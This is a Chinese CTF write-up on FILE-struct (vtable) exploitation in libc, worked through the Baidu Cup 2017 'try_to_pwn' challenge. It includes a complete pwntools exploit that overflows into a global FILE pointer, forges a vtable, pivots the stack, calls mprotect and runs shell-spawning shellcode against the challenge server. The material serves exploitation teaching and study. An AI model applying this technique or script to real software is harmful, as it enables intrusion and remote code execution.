file struct 利用总结——百度杯总决赛线上赛try to pwn write up

37 篇文章 3 订阅

简介

file stream overflow是pwn的一种常用方法(至少最近几次比赛变得有点常用了),主要是通过利用libc的FILE结构体中的一些特点达到控制流劫持的效果。

一般来说劫持控制流的方式主要是:
1. 更改栈上返回地址,这种方法在堆相关的利用和格式化字符串利用时需要知道栈地址,或者有栈溢出等方法,才能够更改到栈地址
2. 更改got表地址,这种方法在开启了full relro的时候就不可用了
3. 利用free_hook, malloc_hook等方法,这种方法需要有堆分配的函数才可以

这里我们提出这种劫持控制流的方案就可以用来作为备选方案,在这些方案都不可用时作为一种备选方案。

FILE 结构体特点

_IO_FILE

首先来看_IO_FILE的定义:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

这里有几个地方需要注意,一个是flags,一个是最后的_vtable_offset

可能是因为和C++兼容的问题,C语言当中的FILE struct的结构显得相对复杂,其不止含有一个_IO_FILE作为内部表示,还具有一个虚表,这个虚表的位置就位于_vtable_offset

虚表结构

原始的虚表数据结构我实在是没有找到,不过大致的结构如下:

void * vtable[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    NULL, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    NULL, // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

注释里边的就是每一个函数指针的名字,或者说作用。

其实在对FILE struct调用函数的时候,就是调用了该FILE的函数指针,比如调用fclose(someFile);

其实就相当于调用someFile这个file结构体虚表结构的close函数指针。

总结

一张图总结,两个结构的情况大致为:
结构

利用方法

综述

一般只要通过更改虚表指针,然后想办法调用到虚表指针就可以了,有时候需要利用一些神奇的性质,比如stdout, stderr, stdin的结构体也是FILE结构体,如2017 0ctf的EasiestPrintf就是一个典型的例子,可以利用stdout来进行控制。

如果存在FILE struct一般就要小心了,否则的话也可以考虑stdout等等特殊的FILE struct。

示例

百度杯2017年度决赛的try_to_pwn:
题目位置

题目解析

题目的大致作用是可以open名为指定名称+随机数的文件,然后可以读出这个文件。

漏洞位置很明显,输入名字的地方存在一个缓冲区溢出,可以覆盖到用来存储文件FILE struct指针的全局变量,因为题目最后调用了fclose,所以可以更改虚表指针达到控制流劫持的目的。

劫持控制流比较简单,需要注意的是构造FILE结构体的时候不能乱构造,一般可以用0xffffffff,因为这样会跳过一些free函数等,否则构造的内容就会有一些要求,因为不知道具体要求,所以基本上就是采用构造称一堆0xffffffff来跳过free函数就可以了。

劫持控制流之后的问题就是如何获取shell了,因为劫持控制流之后我们也只有一次调用机会,题目开启了nx,所以不能进入shellcode,只能想其他办法,如果ROP,因为无法控制栈内容,所以没办法将ROP链起来,最后选择的方法就是先更改esp,使得栈地址被更改,我们就能够控制栈内容了(stack pivot),然后再进行ROP。

因为文件是静态链接的,我似乎没有找到方便execve的,其实到这个时候选择就很多了,可以通过rop直接execve,或者mprotect改权限之后运行shellcode,我采用的方法是后者。

更多其他内容就参见exp就好。

exp.py

我的方法因为前两个虚表结构体的指针没有用到,所以用这两个来处理stack pivot.

具体方法是:
我调试的时候发现在fclose进入函数指针的时候,eax会落在虚表结构体的开始,所以我先控制执行流跳到xchg eax, esp; ret;,这样esp就会变成虚表结构体的开始,虚表结构体一开始的4字节没有作用,所以可以进行更改

更改的时候将其更改为pop esp; ret;的地址,这样的话,上一个gadget ret的时候就会进入这个位置,而接下来的4个字节改为真正想设置的esp的值就可以更改esp为任意值了。

还有一个问题就是,mprotect的地址参数必须是页对齐的,需要注意,否则会报错。

from pwn import * 
context(os='linux', arch='i386', log_level='debug')

DEBUG = 0

if DEBUG:
    p = process('./fake')
else:
    p = remote("106.75.93.221", 12345)

def send_name(name):
    p.recvuntil('name?')
    p.sendline(name)
    p.recvuntil('file?')

def read_file(path):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('Path:')
    p.sendline(path)
    p.recvline()

def exit_this():
    p.recvuntil('>')
    p.sendline('3')

def main():
    #pwnlib.gdb.attach(p)
    mprotect_addr = 0x08071fd0

    payload = 'a' * 32
    payload += p32(0x080efa00 + 4) # @ 0x80efa00
    payload += p32(0xffffffff) * (148 / 4) # fake file
    payload += p32(0x080efa00 + 156) # jump table offset

    # jump table starts here
    payload += p32(0x080e2b6d) # pop esp; ret;

    # fake stack position
    payload += p32(0x080efa00 + 300)

    # rest of jump table functions
    payload += p32(0x08048f66) * 16 # xchg esp, eax; ret;

    fill_up = 300 - len(payload) + 32

    # fill to the fack stack
    payload += 'b' * fill_up

    # rop, to mprotect
    payload += p32(mprotect_addr)
    payload += p32(0x080efa00 + 300 + 20) # ret to shellcode position
    payload += p32(0x080ef000)
    payload += p32(1024)
    payload += p32(7)
    # shellcode from here
    payload += encoders.encoder.line(asm(shellcraft.sh()))

    send_name(payload)
    exit_this()
    p.interactive()


if __name__ == '__main__':
    main()

file struct利用技巧

  1. 可作为劫持控制流的方案
  2. file struct的flag字段会被当做参数传入函数指针
  3. 在文件结束一般会关掉stderr stdout stdin等等,理论上我认为应该是可以改这几个结构体的close函数来进行控制的,但是实际上测试的时候似乎没有成功,不过利用其他函数倒是可以控制(0ctf EasiestPrintf),不知道是不是这道题刚好调用了其他函数
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值